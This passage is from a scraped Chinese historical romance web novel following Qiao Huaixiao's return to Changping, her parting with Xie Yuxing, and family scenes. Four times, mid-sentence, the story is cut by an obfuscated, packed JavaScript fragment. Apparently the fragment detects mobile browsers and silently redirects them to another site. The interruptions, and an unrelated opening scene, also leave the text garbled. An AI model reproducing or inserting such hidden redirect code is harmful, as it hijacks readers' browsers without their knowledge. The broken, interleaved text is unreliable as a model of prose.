阿粟想,今天大家都对他不是很好,还是明天吧,他无力的闭上了眼睛,明天就好了。 阿粟的草房周围没有任何人家,雨也没有再下大,只是慢慢的,慢慢的打湿了他身上的衣服,水珠划过他瘦削的脸庞,不做任何停留。 打破这片寂静的是一个男人的声音,他冒着雨跑来:“阿粟!我回来了!你看我带了什么回来,烤鸭,是一只烤鸭!不过你可别说是我把鸭腿吃了的,这店家说没了鸭腿的这只便宜卖,你放心,鸭胸是你的,我嘛……” 但很快的,他的语气开始从亢奋变得平静,他歪了歪头,看着地上躺着的阿粟,有些不明白他为什么要在这淋雨。游焕走过去,抹了一把被雨打湿的脸,想看得更清楚一些,但在看明白的那一刻,用油纸包着的烤鸭从他手中滑落,掉进了水洼。 “阿粟,你醒醒,你快看我带了烤鸭回来了,我没骗你,你闻到烤鸭香味了吗,快醒过来,不然我一个人全吃了。”游焕的声音发起抖来,他抱起阿粟,发现这重量就和抱一把骨头一样没区别,他明显感受到手下贴着的皮肉已经没有了温度。 阿粟死了。 …… 家丁已经从仓房离开了,乔怀潇走到门边,轻推了推,发现仓房的门竟然没有上锁,那些家丁也不再巡逻,唯一不好的消息是,外面下起了雨。 乔怀潇回头看了一眼那所装满了稻谷粮食的仓房,将它的样子牢牢记在心里,随后翻出围墙,原路返回。 雨打湿了地面,乔怀潇为免被人发现踪迹,把步子放得很轻,尽量不留下脚印。她回想着刚刚的所见所闻,难怪冯实宗嚣张至极,敢当街纵马伤人,他的父亲敛财贪墨到了常人难以企及的地步。越是表面富硕之地,背后越是肮脏黑暗。还有刚刚那个人,为什么看见了自己却不揭发? 乔怀潇思绪万千,在黑暗中踽踽独行。黑漆漆的天空却在此时亮起一道闪电,惨白的闪电仿佛有着劈开大地的势头,乔怀潇放眼望去,看见了一个男人高高扬起铁锹的剪影。 “你在干什么?”乔怀潇拧眉上前,看得更加清楚,男人的身边是一个深坑,坑里躺着的男孩分外眼熟,她挥掌拍开男人握着铁锹的手,高声呵斥,“住手,你在干什么?” 在这样夜深人静的荒凉地,游焕实在吓了一跳,慌乱喊道:“你是谁?你管我干什么?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915145|136210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着谢大人离去的背影,心中隐约有个想法,这圣旨对雁帮是个好消息,但是对于谢大人,大概是件坏事。 华翘又后知后觉,谢大人难道是扔下大太监去追小帮主了吗?! …… “阿嚏。”乔怀潇揉了揉鼻子。 迟彻开玩笑道:“说不定是谢昱行发现你跑了,追过来了。” “就算他追来,我们都出发快三天了,他连夜赶路也不一定能追上我们。”乔怀潇掀开车帘,一只白毛鸟儿飞了进来,落在小桌上,乔怀潇摸着小鸟的白色羽毛,无奈道,“都放你走了怎么还跟着我们。” “干脆带它去长平,”迟彻点了点鸟脑袋,“不过我看你这么小,要是不飞快点,到时候到了长平被那些大雁啄可怎么办。” 迟彻扭头,看见了乔怀潇挂在荷包上的挂件,勾了勾手,“这个金算盘给它戴,让它练一练飞力。” 乔怀潇把金算盘挂在鸟儿的脖子上,白毛上有着金灿灿的珠子,鸟儿歪了歪脑袋,样子机灵的可爱,乔怀潇笑了笑,“下次让你去给裴桐送信,可要飞快点啊。” 小鸟啾了两声,不知道是听没听懂。 “魏绥果然让皇帝收回茶政,好在你让裴桐早有准备。”迟彻话音未落,外头传来一阵马嘶哑的啼叫,接着他们的马车骤然停了。 鸟儿缩了缩脑袋,红绳从它脑袋滑落,金算盘“啪嗒”一下掉落在地上。 乔怀潇心底升出不好的预感,转头对迟彻道:“我先下去看看。” 她跳下马车,还没站稳,就听见车夫说道:“小帮主,小心!” 一只手按上了她的肩膀,乔怀潇手刀从下向上挑开那只手,接着错身闪到来人身旁,冷声道:“归宁驿站的车也敢拦,你们……” 但猝不及防的,乔怀潇看清了眼前人,竟然是谢昱行。 她收回手,视线捕捉到了谢昱行披星戴月后的疲惫,垂眸道:“有什么话我们到河边去说。” 谢昱行却像是没听见她的话一样,在一行长随面前直接开口:“你离开慕安为什么不和我说?” 乔怀潇笑了,反问他:“那你假意示好冯万季,引他用河道书推卸责任,你为什么不告诉我?” “这不一样。”谢昱行摇了摇头,“我并没有十全的把握,我怕陛下看见河道书上的署名,怕……” 乔怀潇后退一步,“这当然不一样,我离开慕安为什么要告诉你,这是我的私事,你是我的什么人,或者说,你把我当什么?” “朋友,我们至少该是朋友吧,否则你为什么救我?”谢昱行迫不及待说道。 “你不是我的朋友。”乔怀潇摇头,她看着谢昱行的眼睛,说道,“你喜欢我。” “可是……”乔怀潇顿了顿,“可是我要回长平了。” “我知道你想说你这样做是保护,是为我好,但是我从来不怕立于风口浪尖。” “我只会觉得这风浪还不够大。” 林间开始吹风,乔怀潇衣摆纷飞,脚步却分外坚定,她朝谢昱行身后喊道:“书礼,送谢大人回慕安!” 24. 事已至此 乔姑娘都说到这份上了,书礼忍不住劝道:“大人,我们不如早点回去?少监还在等着呢。” 谢昱行却窥见了一点症结所在,他拦在乔怀潇面前,“我总是担心你暴露在他们面前,但其实你是故意的,故意将雁帮带到他们面前。” 乔怀潇坦然道:“是,很快所有人都会知道,连一府的通政使冯万季都压不垮雁帮。” “你知道冯万季背后是谁吗?为什么非要卷进去呢?阿滢……” “他背后有人我就没有了吗?”乔怀潇猛地打断了他的话,一种尖锐的决心在眼中呈现,“你一直以来都误会了一件事情,我从来不怕立于风口浪尖,我只会觉得这风浪还不够大。” 日光如金,洒落在乔怀潇身上。 迟彻不知何时下了马车,看着乔怀潇,“小乔,我们该走了。” 迟彻的腰间闪过金光,谢昱行认出那是他送出去的金算盘。 而在迟彻路过谢昱行的时候,他顿了顿脚步,说道:“你配不上她。” 谢昱行看去,正视迟彻。 车夫重新套好马车,雁帮的长随护着中间的马车,车轮滚滚向前。 这次,谢昱行没有再阻拦。 书礼看着还站在原地的谢昱行,说道:“大人,乔姑娘回了长平,您也该回慕安了,圣旨来得这么急,我们不能再耽搁了,从波利回来后若是有机会,我们还是可以去长平的。” 书礼觉得谢昱行听进去了,因为下一刻谢昱行调转马头,朝着来时的路返回。 谢昱行仿佛不会累一样,回到慕安后一刻不停的会见了贺少监。 贺安坐在官驿里,摆着脸,“国公爷啊,您这是做什么?出使一事诸事未定,何人随行何时启程走什么线路,副使正使人选,贩哪儿的盐,盐价如何定夺,这都是要考量的,您把我撂在这儿三天,三天啊,等我回去,万岁爷必定要怪我耽搁事情!” “公公受累,定南近日多事,我总要交接手头上的事情。”谢昱行话落,书礼便奉上一个沉甸甸的钱袋。 贺安哼了一声,拨开钱袋口子,见到里面是金灿灿的,咳了咳,“这倒也是,定南通政使贪墨被捕,万岁爷可是发了好大的火,昨日我倒是也会了会于大人,他们已经有了头绪,说不准过两日能同我一齐压着冯万季进京,两头并进,万岁爷也能高兴些。” 贺安是个人精,又笑着说道:“眼下定南通政使的位置空了出来,国公大人此去波利,差事若是办的漂亮,不免要升上来,大人年纪轻轻大有可为。” 贺安说完,却看见谢昱行面露凄惘,活像个刚丧妻的鳏夫,脸上没半点他以为谢昱行得知要升官后会露出的喜色。 贺安顿觉没劲,摆了摆手,“行了,您赶紧回吧,明日要做的事情还有很多呢。” 谢昱行也不客套,转身回了谢府。 他解下身上的披风,坐在正堂,不免得想起那日和乔怀潇在这儿吵架的情景。 谢昱行破天荒的第一次生出悔意,不该和她吵架,不该故意骗她,他主动的被动的隐瞒的事情太多,以至于他几乎将习惯了这样的处事方式。 “大人,安排去查雁帮的人回来了。”书礼上前禀报道。 谢昱行怔了片刻,说道:“让他进来。” 负责去长平打听雁帮的人个子不高,是个极其妥帖细致的人,他想了想,先不谈雁帮,而是从乔怀潇刚刚离开京师时说起:“乔姑娘随着乔大人致仕离京后,并没有回五岁前所居的江南老家,倒是带着家眷仆从一路朝西赏景游玩。” “他们穿过了七连丹霞,途径芜云草原,乘船过了墨卡湖,甚至过了嘉峪关。” 蓝天白云潇洒恣意,谢昱行想象着那时的乔怀潇,脸上神色缓合,却听见男人说道:“但乔姑娘在玉尧雪山赏景时遇到雪灾,和乔家其他人走散了。” 男人赶紧接着说道:“不过乔姑娘在雪山上被人所救,有惊无险的下了山,和乔大人一行人安全会合了。” “或许是此事的缘故,他们就在留在了沿近的长平。那时长平尚且只是个不起眼的边关小城,只有囤田守卫的将士,不过长平与波利接壤,也可以连接西域的其他国家。” “乔姑娘便改良了桂花树,栽种在她们居住的院落里,酿得桂花蜜累得资金,后来便又进入茶业,乔姑娘独自领着商队将内陆的茶叶销往各国。” 说到这儿,男人回忆着长平如今截然不同的繁华市集,也不禁对乔怀潇生出敬意,“后来也有不少人跟着乔姑娘来到长平行商卖茶,官府也开了茶马互市,用茶换得马匹以充军资。长平逐渐变得繁华,竞争也大了起来。” “但乔姑娘并不阻碍其他人照着她的方式行商,反而领着商人们开发内陆各地特有茶田,和官府所售的大量粗茶并不冲突,得到了诸多推崇,这也就是雁帮的由来。” “乔姑娘目光如炬进退有度,实乃女中豪杰。”男人忍不住感叹一句,目光一转,却瞥见谢昱行手指轻颤,吓了一跳,“大人!您没事吧,是不是这几日太过劳累,不如我明日再讲?” 谢昱行没有应答,男人更是吓得心颤,还是一旁的书礼朝他摆摆手,“无妨,你继续说。” 男人这才放下心来,继续说他在长平查探到的信息。 此时,菱花窗外是沉沉的夜,谢昱行有些听不清男人后面所说的话了。 他记忆中乔怀潇的样子不断浮现出来——穿着大氅的怕冷的乔怀潇,抱怨风沙太过冷硬的乔怀潇,据理力争从不退一分一毫的乔怀潇。 紧接着,那些过去的样子被长平的风给搅乱打破,重新凝聚成一个忍耐而又坚毅的剪影。 谢昱行并不对这样的乔怀潇感到陌生,他只是感到指尖的颤动成了疼痛,他将手轻轻按在了胸口上,明白了是哪在疼。 男人喝了口茶润喉,最后说道:“对了,在雪山上救了乔姑娘的人名为迟彻,就是后来雁帮的大帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941499|136210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主。” 书礼猛地咳了两声,“好了,你下去领赏吧,” 男人隐约察觉到了谢昱行神色异常的缘由,顿觉最后一句说的多余,忙不迭福身退了下去。 堂内烛火闪闪的跳着,书礼看着谢昱行,忍不住低声道:“大人,事已至此,别想了。” 其实三年前自家大人决意替换科考书卷的时候,书礼就觉得他和乔姑娘绝无可能了,更何况如今乔姑娘身边多了一个叫迟彻的男人。 三年的相知相伴,足够改变很多事情。 但出乎意料的,书礼觉得谢昱行的想法似乎和他截然不同。 只见谢昱行走进书房,颤抖的手已趋于稳定,他拿起笔架上的毛笔,吩咐道:“书礼,研磨。” …… 晨曦微露,但风并不温柔,干燥,甚至夹杂着细微的土腥味。 乔怀潇坐在马上,心底却生出几分雀跃,她望着在视线里不断变大的城池,要回家了。 最开始,从长平出来追汪成连的时候只有乔怀潇和陈所得两人,现在回去,带着归宁驿站的商队,还有迟彻,一行人浩浩荡荡的入城。 乔怀潇让归宁驿站的商队先去雁会馆,她直奔家门而去。 那扇熟悉的红漆木门出现,乔怀潇上前拍响家门,“阿娘,我回来了!” 还没等门里传来动静,一旁的小巷里走出一个中年男人,“小没良心的,怎么不喊你爹开门。” “阿爹。”乔怀潇眼睛一亮,又看向乔高湛头上的狐皮帽子,笑道,“秋天都还没到,你怎么就把帽子戴上了。” 乔高湛一把扯下头上的帽子,露出一个光溜溜的脑袋,骂道:“还不是文诚堂那群小猢狲,不好好读书去地里烤红薯,差点把田里的庄稼点着了,我追过去的时候,火星把我的头发都撩着了。” “干脆,我就把头发一剃,天天顶着光头去给他们讲学。”乔高湛走上门前的台阶,乐呵呵道,“现在一个个老实的跟个鹌鹑似的,再也不溜号了,布置一篇文章能给我交三篇上来,哈哈哈。” “看你这样上课,是比去烤红薯有意思多了,换我我也不溜。”乔怀潇没忍住,悄悄从后面摸了一把乔高湛的脑袋,问道,“凉快吗?” 乔高湛把狐皮帽放回头顶,“热死啦!” 身后还有两人的脚步声,乔高湛这才扭头看了一眼迟彻,“哦,小迟也来了。” “还有我呢夫子!”陈所得喊起来。 乔高湛哼了一声,“三字经都要学一年,我没教过你,别喊我夫子,丢人。” 这时门被打开,门内众侍从围拱着一个雍容妇人走出来。 乔怀潇正了正神色,“阿娘。” “师母。”“夫人好。”陈所得和迟彻也连忙问好。 陶蔓视线扫过她们,衣袖轻摆,回身往院子里走去,“还不快进来。” 乔怀潇摸了摸脸,确保脸上干净衣着得体,才踏步进去。 25. 回家 乔宅是一座三进的院子,不比京师园林阔气,但格局十分舒展,没有假山造景的精琢,自有一份自如之气。 仆从却又和长平行事不同,走起路都是静悄悄的,他们捧着茶盘,安静的引座上茶。 乔怀潇刚要坐下,就听见陶蔓开口:“跪下。” “哎呀,夫人,潇儿才回来,你这是做什么?”乔高湛拉住陶蔓的手。 陶蔓一把甩开,“做什么?你不看看她都去做了什么?汪成连那样不择手段的人,她就敢和陈所得两个人去追,要是那姓汪的有同伙,她赤手空拳怎么回来?” “潇儿这不是回来了吗?你消消气,消消气。” 陶蔓平日里轻声细语,此时声音忍不住大了起来:“为了那么几个珠子,凭什么要我女儿这么拼命?” “那珠子是我要去……”乔怀潇的话没说完,迟彻轻轻按了按她的手:“是我思虑不周,不该让小乔孤身犯险的。” “小乔?”乔高湛眯了眯眼睛。 乔怀潇果断皱眉,不大不小的捂着肩膀“哎呦”了一声。 陶蔓脸色一变,拉住乔怀潇的手,“怎么了,哪不舒服?” “肩膀。”陈所得替乔怀潇说道,“在慕安,那个定南通政使卖漕粮被小帮主发现,就甩鞭子动手了。” “什么?!”乔高湛和陶蔓异口同声,“去叫医官来!” “不用,都快好了。”乔怀潇拉着两人到椅子上坐下,“真的,就是皮外伤,都得有十多天了,刚刚估计是衣服压到了。” 乔怀潇再三强调,乔高湛才稍微放下心,他转念一想,觉得不对,“慕安,你追到了慕安去了?那通政使可是姓冯?他为难你了?你是如何脱身回来的?” “乔夫子真是小瞧小帮主了,小帮主一招引蛇出洞,冯万季偷卖漕粮勾结官员,后面还想杀人灭口的事情就连陛下都知道了,他现在说不定就在押送进京受审的路上。” 陶蔓此时端起茶来抿了口,语气恢复成了轻声细语,她淡淡道:“做得好,这样的贪官就该杀了干净。” 乔高湛也是一副赞同的样子,视线又蓦地转向迟彻,“所以你去找潇儿就是为了这儿事?” 迟彻愣了愣,“我就是搭把手,没有帮上什么忙。” 乔高湛笑道:“当然,没有你,潇儿也一样能做成事。” 陶蔓暗暗瞪了乔高湛一眼,笑着对迟彻说:“有福同享,有难同当,这三年你们不都是这么过来的吗,好了,这一路奔波劳累,你们早点回雁馆休息去吧。” 迟彻和陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942835|136210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所得都是孤家寡人,对陶蔓天然有几分敬意,听她这样说,自然告了别离开了。 乔怀潇张了张嘴,陶蔓气还没有消,不软不硬道:“你也回房去休息,这段时间给我好好待在家养伤,别以为自己会了点功夫就成大侠了,伤好之后再好好练功,别再让自己受伤。” 乔怀潇摸了摸鼻子,“好,都听阿娘的。”她特意将阿娘两字拉长,然后风一般的跑远了。 乔高湛笑着看向乔怀潇离开的背影,对陶蔓说道:“看看,你拿她也没有办法吧。” 陶蔓睨他一眼,“迟彻一个小辈,你怎么总是和他过不去?” “你不也是吗?” “我猜我想的和你想的肯定不一样,我倒是好奇,你为什么不待见他?” 乔高湛脸上笑意淡了淡,“雁帮是潇儿和他一起办的,怎么都称他为大帮主,叫咱们潇儿小帮主,忒不公平。” 这话说的倒也有几分道理,陶蔓点点头,又说道:“明日你去问问潇儿在慕安都干了些什么,肯定没她说的那么简单。” 乔高湛应了一声,感觉到头上有人在用手指点自己的脑袋,他对上了陶蔓的视线,她冷不丁冒出一句,“冷吗?” 乔高湛立马把帽子戴上,“你们母女俩真是!” 26. 桂花 不过乔怀潇想起静安,波利地势复杂难以进入,要是谢昱行要经过长平去波利,或许该让他给静安带个口信。 到时候再说吧,乔怀潇摇了摇头,看向乔高湛,“阿爹,我想要你房间里的东西。” “什么?”乔高湛看着乔怀潇朝自己屋子走去,心霎时就被提起。 乔怀潇走进主屋,却绕过了乔高湛藏私房钱的博古架,乔高湛松了一口气,见她走到屏风对面打开一旁的梨木箱子,抽出一把长剑,“我要这个。” 长剑终日被压在箱子里,但一见光,剑锋上霎时闪出一片白光,拂光略影般在墙上滑过。 乔高湛说:“你要剑去做什么?” “自然是练剑,阿娘说的对,赤手空拳的怎么打的过别人。”乔怀潇同时想起游赋雪说的,她伸出手,将长剑搭在臂膀上,“剑鞘在哪儿?” 乔高湛想说你阿娘可不是让你再接着练功的意思,但他看着这柄素白长剑,说道:“此剑无鞘,你拿去也好,但是我可要告诉你,这剑是见过血的,你若是使剑,可要小心点才是。” “迟彻是会剑的,我向他请教。”乔怀潇点头,朝外走去,“之前替你找书的时候就奇怪,你箱子里怎么会有剑。” 乔高湛没说话,却见到乔怀潇径直到了博古架前,伸手去掏架子上的一个白瓷花瓶,他慌忙的跑过去,“哎呦,小祖宗,你做什么?” 乔怀潇从里面掏出几吊银钱,在他面前扬了扬,“早看你表情不对了,藏钱干什么?家里缺钱啊?” “哎呀,就是琢磨着换个大房子吗不是,你看……”乔高湛状似为难的说,手就要从乔怀潇手中夺过那些银钱。 乔怀潇缩回手,“你少骗我,你是不是想着去喝酒,郎中都说过你不能喝酒了。” 她转身就要走,乔高湛赶紧追上去,却被门槛拌了个正着,身形不稳一下子倒在地上。 乔怀潇听到身后的动静回头一看,乔高湛已经倒在地上了,她顿时吓了一跳,赶紧扔下手上的东西过去扶他,“没事吧,伤到哪儿没有?” 乔高湛站起来,揉了揉腰,“感觉这腰扭伤了。” 乔怀潇把乔高湛扶到椅子上坐下,立刻叫人去传郎中来。 陶蔓正好来看乔怀潇,眼见着郎中进了这院子,急急忙忙的追进来,“潇儿怎么了?” 只见是乔高湛躺在塌上,她松了口气,对郎中问道:“他这是怎么了?” 郎中用药酒在乔高湛的腰上揉了揉,“回夫人的话,老爷这是扭到腰了,这两天需要静养,不能久坐久站。” 乔高湛的眉头登时皱起,“我今日还要去文诚堂讲学。” 陶蔓目光瞥向地上的剑,又看着乔怀潇,“潇儿,你替你父亲去。” “潇儿难道会砸了你的招牌吗?”陶蔓一句话就堵住了乔高湛的嘴,她一手收走了乔高湛的私房钱,一手拿起长剑按在桌上,对乔怀潇道:“不过不许带这个剑去,吓坏了学生。” 乔怀潇眼巴巴的看着长剑,但也没奈何,只能点头,“知道了。” 乔怀潇朝文诚堂的方向走去,回头看了一眼,那柄剑已经被陶蔓重新收回了箱子里。 乔怀潇顺手折了一枝树枝做剑,还没挥动,鼻尖就嗅到了淡淡的桂花香,她低头一看,发现她折的是前几年种下的桂花树的枝条,这个时节上头已经坠了点点澄黄的花苞。 她便将花枝收进怀里,进了文诚堂的讲堂,寻了个高瓶插进去,摆在高台上。 文诚堂是雁帮出资办的学堂,束脩并不高,不过学生还是不算多。 乔怀潇插花的时候,下面的学生们都在面面相觑,等到乔怀潇下来看他们写的字,一个个才回过神来,“乔姑娘,今日怎么不是夫子来讲学?” “你们夫子扭伤了腰,来不了了。”乔怀潇并不常来文诚堂,倒是好奇,“你们认得我?” “当然认得了,都说乔姑娘是长平最有钱的了,家里种了好多桂花,那可是南边才有的花,长平都种不活的。”一个小胖子兴致昂扬的说道。 “桂花啊,回头在这学堂院子里也种一棵。”乔怀潇咳了咳,看到他们纸上写着字句,“好了,你们还在学《千字文》?认到哪个字了?” “露。”学生们大多只有十岁出头的样子,齐声答道。 乔怀潇凑近了看,皱眉,“这哪是‘露’字,分明是个‘霜’。”看来还真是如乔高湛所说,根本没把心思放在学业上,尽溜去烤红薯了。 乔怀潇灵光一闪,“这样,你们把这《千字文》前五句临摹个十遍,我就告诉你们怎么用那桂花枝种桂花树。” 小胖子最先喊道:“我第一个写!”其他的小孩也纷纷应和,干劲十足的提笔写起来。 幽幽的桂花香弥漫在室内,乔怀潇看着他们一个个坐的笔直端正,十分认真的样子,于是一边巡视一边开始说道:“种桂花树可以选择‘扦插’之法,顾名思义就是折下无虫害的桂花枝条,把它插进土壤待其成活就可以。” “就这么简单?”小胖子从笔架后抬起眼睛。 “当然没有这么简单。”乔怀潇敲敲他的书桌让他继续写,“《吴越春秋》有云,夫筑城郭,立仓库,因地制宜,岂有天气之数以威邻国者乎?” 眼见着学生露出迷茫的表情,乔怀潇只好展开解释道:“因地制宜,就是你不能在旱土种水稻,不能在水里种茶树,要考虑各个地方不一样的情况采取不一样的措施。要在长平种桂花树呢,那就要保证桂花树苗不会被冻死,选的土更不能是长平惯有的黄土,云连山上那种黑褐色的土壤最佳,掺杂点小石头,浇水不必太频繁……” 乔怀潇说完没一会儿,学生们也都抄好了,挨个把大字交上来了,乔怀潇还有些得意,还是乔高湛不会教,看看,这一个个不是学的很积极吗? 到了时间,乔怀潇安排他们下学回家,就打算把学生写的大字带回家,好好在乔高湛面前炫耀一番,不过还没走出门外就到了迟彻。 迟彻站在洞月门外朝她挥了挥手,这时有下学的小孩撞到他的身上,背着的书袋一下子掉在地上,迟彻还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050907|136210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动作,乔怀潇已经走过来帮小孩捡起了来,帮他系好袋子让他离开。 “看来今天你和他们相处的很好。”迟彻笑道,“我听夫人说你今日替乔夫子来文诚堂上课了,还想看看你给他们上课的样子,结果没赶上。” “教《千字文》呢,那么简单有什么看头。不过我给他们讲怎么种桂花树,一个个写起字来倒是可有精神了。”乔怀潇把学生写的字递给他看。 迟彻接过来扫了两眼,摸了摸下巴思忖一番,“这写得……” 乔怀潇探头过去,入眼的字不能说写的丑,只能说写的勉强能看出来是字,她皱眉,“怎么回事,这么简单都写成这样?” 迟彻“噗嗤”一声笑出声,“果然都说恃才之人教不了人,他们现在学的是如何穿针引线,你难道还想他们会苏绣不成,不是所有人都像你学得那样快的。” 乔怀潇真心想说自己哪有什么才气,但说出来倒显得她在说反话自谦似的,她没开口了,又听见迟彻说:“裴桐的信到了。”她顿时想起正事,和迟彻一起朝着雁楼方向走去。 这两天忙这忙那,这还是回来后第一次到雁楼去。两人刚一进去,伙计长随就忙不迭问好,不过也没什么要乔怀潇处理的,她一路走进后院,一片开阔的校场映入眼帘。 后院没什么绿荫,倒是在左边有两个大鸟屋,迟彻吹了个口哨,一只灰雁稳稳的落在他手上。 乔怀潇取下雁脚上卷起的信笺,裴桐在上面写到冯万季已经被押解进京了,陛下擢升了游赋雪和徐戈的官职,以及,告诉了她谢昱行被派往波利出使的消息。 与此同时,一只白肚的小鸟落在乔怀潇肩上,她扭头一看,有些意外,“它长大了,肚子都变成圆滚滚的了,竟然还认得我。” “当然,你救了它。”迟彻扬了扬手,灰雁便懂了他的意思,飞回了鸟屋。 白肚小鸟则歪了歪脑袋,跳到了迟彻的臂膀上,迟彻说道:“你要是给裴桐回信,不如试试它,它是崖沙燕,长得和喜鹊有些像,会比灰雁更加隐蔽。” “胖肚。”乔怀潇给它取了个名字,朝它勾手,“那就给你派个任务。” 小鸟十分灵性的“啾”了两声,跳回了乔怀潇的肩上,乔怀潇进了屋子,开始给裴桐写回信。 裴桐替她在京周旋茶政,她自然也不能毫无所出,正好眼下陛下要深究漕运,清除漕运多年积弊就是一个机会。 乔怀潇早就对此有所想法,此时提笔写给裴桐,一条条列了出来:收粮力求迅速,以减少漕官、漕书和胥役等勾结作弊之机。另,收粮时州县官需亲身查验,以防止漕书胥役营私舞弊。征收手续应简洁划定,防止浮收…… 迟彻坐在一旁,看着她笔下行云流水的铺洒开,唯独写到最后顿笔,他不禁细细看去,发现乔怀潇提到了谢昱行的名字,“你怎么和裴桐提到谢昱行了?” “听说他出使波利要经过长平,我本想问问他具体的路线。”乔怀潇把写好的纸揉皱扔进烛火里烧了,重新铺开纸下笔,“不过确实也没必要。” 27. 坏人 “那日我也没想到他还会追上来,还是划清界限为好。”迟彻坐在乔怀潇对面,“我有个主意,保管他就算他来了长平也不会来打扰你。” 乔怀潇将写好的信笺卷到最小,绑到胖肚的腿上,她没说话,听见迟彻说道:“上次咱们两演兄弟就演得很好,这一次,我们扮作一对,谢昱行若是来了,一定不会再凑到你面前了。” 胖肚的屁股被乔怀潇拍了拍,它张开翅膀,冲向天空,乔怀潇看着它越飞越远,才有心思转头看向迟彻,“你开什么玩笑。” 乔怀潇没把这话放在心上,站起来朝他摆摆手,“我回家了。” 不过在回乔宅之前,乔怀潇脚步一转,先去了一趟西市。 长平的市集十分热闹,甚至有外邦人在此交易,男女老少汇作一团,吆喝声此起彼伏招揽着生意。乔怀潇从头逛到尾,左转右转,要不就是嫌太小,要不就是嫌太丑,来回看了三次才终于选到合心意的东西。 她付了钱,把东西放进兜里,赶在日落前回了家。 乔高湛靠在塌上看书,看着看着,书上的字就变得歪歪扭扭起来,他嘟囔起来,“这字写得忒不像话,露和霜都搞混了。” 下一刻才回过神来,目光上移,看见了自家闺女的笑脸。 “虽然写得吧,有待提高。”乔怀潇拍拍学生的字帖,“但我今日叫他们写字,可是一张不少的交上来了,这下你放心了吧。” 乔高湛笑起来,“我有什么不放心的,一天不见他们,我都感觉神清气爽多了。”他没说完,就感到头顶一沉。 乔怀潇把从西市买的是一顶绢纱平顶帽,她把帽子搁到乔高湛头上,“这比你的狐皮帽子顺眼多了。” “是吗?”乔高湛狐疑道,动作却十分麻利,一手扶腰,一手扶帽的坐了起来,他整了整衣冠,虽然边上没有镜子,没法看出样子,却还是满意的说道,“嗯,不错,就是戴了那么久的乌纱帽也不过那样,还不如潇儿给我买的布帽。” “你开心就好,赶紧躺着吧,你那腰还是小心着点,明天我也帮你去学堂讲学,你好好休息,我先走了。”乔怀潇的声音越来越小,几乎是飞出了门外。 乔高湛甚至来不及看她的背影,脸上笑意收敛,他扭头一看,果然,屋子里那梨花木箱大开,“这丫头。”不用说,里面的长剑肯定是被她拿走了。 乔怀潇趁着乔高湛没注意的时候取了剑,溜回自己住的院子,她走到书房,取了一本剑谱下来,在月色下照着剑谱挥剑。 滚烫的汗水顺着额头滚落,但手指碰到剑峰,能感受到明显的寒意。乔怀潇想,明日是要寻个剑鞘来才是。 乔怀潇沐浴后睡下了,翌日,因为要赶诚义堂的早课,她起了个大早。天光还不明亮的时候,乔怀潇就收拾妥当出了门。 天色朦胧,行走在长平的街头,让乔怀潇不禁想起她读书时候的样子,她从小就是由乔高湛一手教导读书写字的。乔高湛和一般的夫子不一样,《诗经》、《尚书》、《周易》、《礼记》、《左传》是必须要读的,《女诫》则从没有让她碰过。不过乔高湛很少拘束她的行为,哪怕对于她的学业,乔高湛也不要求她日日勤勉。 因此这样朦胧不明的天色,在乔怀潇小的时候是不怎么见过的,她从不早起读书。 但乔高湛对他自己非常严格,他身为御史大夫,分察百僚,纠视刑狱,肃整朝仪,总是一丝不苟从无错漏,乔怀潇从没想过他会在三年前突然宣布致仕。 在那之前,乔怀潇以为党争离自己很远,其实不然,在他们离开京城的那一天,魏绥曾来相送,乔怀潇还记得那天的魏绥兴致很不错,他轻飘飘的看了一眼乔怀潇,眼中有笑,但是那种笑是带着居高临下的叹息的笑,他对乔怀潇说:“你要是个男孩就好了,就不会叫你父亲这般辛苦,全无倚靠,不过今后回家养老也好,吃穿总是不愁的。” 乔怀潇看出魏绥眼中的轻蔑,那感觉就好像被人隔空打了一拳,却偏偏又哑口无言。她确实觉得自己无能,静安被陛下指去和亲前,为她求得开男女科考的机会,但被她搞砸了。 她没办法为静安做什么,只能眼睁睁看着她远去波利和亲,而将爱都毫无保留的给了她的父母,她同样没有能力为他们做什么。 